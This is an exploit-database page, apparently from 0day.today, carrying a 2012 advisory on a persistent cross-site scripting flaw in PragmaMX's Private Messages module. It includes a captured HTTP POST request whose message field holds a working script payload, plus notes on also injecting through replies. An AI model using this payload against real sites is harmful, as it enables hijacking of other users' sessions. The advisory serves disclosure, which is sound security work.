0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PragmaMX 1.2.10 Persistent XSS Vulnerability
[# TITLE ... # Persistent XSS in PragmaMX 1.12.0 for logged in users # # DATE .... # 30.01.2012 .......................................... # # AUTOHR .. # http://hauntit.blogspot.com ................ # # SOFT LINK # http://www.pragmamx.org ............................. # # VERSION . # 1.12.0 .............................................. # # TESTED ON # LAMP ................................................ # #...................................................................# # 1. What is this? # 2. What is the type of vulnerability? # 3. Where is bug :) # 4. More... #............................................# # 1. What is this? "pragmaMx - the fast CMS". :) You should try it! # 2. What is the type of vulnerability? This is persistent cross-site scripting for authenticated users. Vulnerability exists in "Private Messages". Here I present You sample HTTP traffic (from BurpProxy). ...cut... POST /pragmaMx_1.12.0/html/modules.php?name=Private_Messages HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Ubuntu; X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://pragmaMx_1.12.0/html/modules.php?name=Private_Messages&op=send Cookie: mxA9649D14D6AAF90E4A70576BF4ACC1=6db52d6de453f7a5890b36ebafd99fda; tab_ya_edituser=0; PHPSESSID=d7nhrjbs5i2pmjvo6vuj1hg2j1 Content-Type: application/x-www-form-urlencoded Content-Length: 200 name=Private_Messages&op=submit&to_user=adminek&subject=persistent+MSG&image=icon1.gif&message=hi%21%0D%0A%27%3E%3Cimg+src%3Dy+onerror%3Dalert%28%27i+am+watching+you%27%29%3B%3E&msg_id=0&submit=Submit ...cut... It depends on what code You will add to $message. Persistent XSS code could be added when You decide to reply, too. So click 'Reply' button, and as a $message parameter add Your XSS-code. # 3. Where is bug :) $message parameter in source code. We need (more) validation here. :) # 4. More... - http://www.pragmamx.org - http://hauntit.blogspot.com - http://www.google.com - http://portswigger.net # Best regards # # 0day.today [2024-11-15] #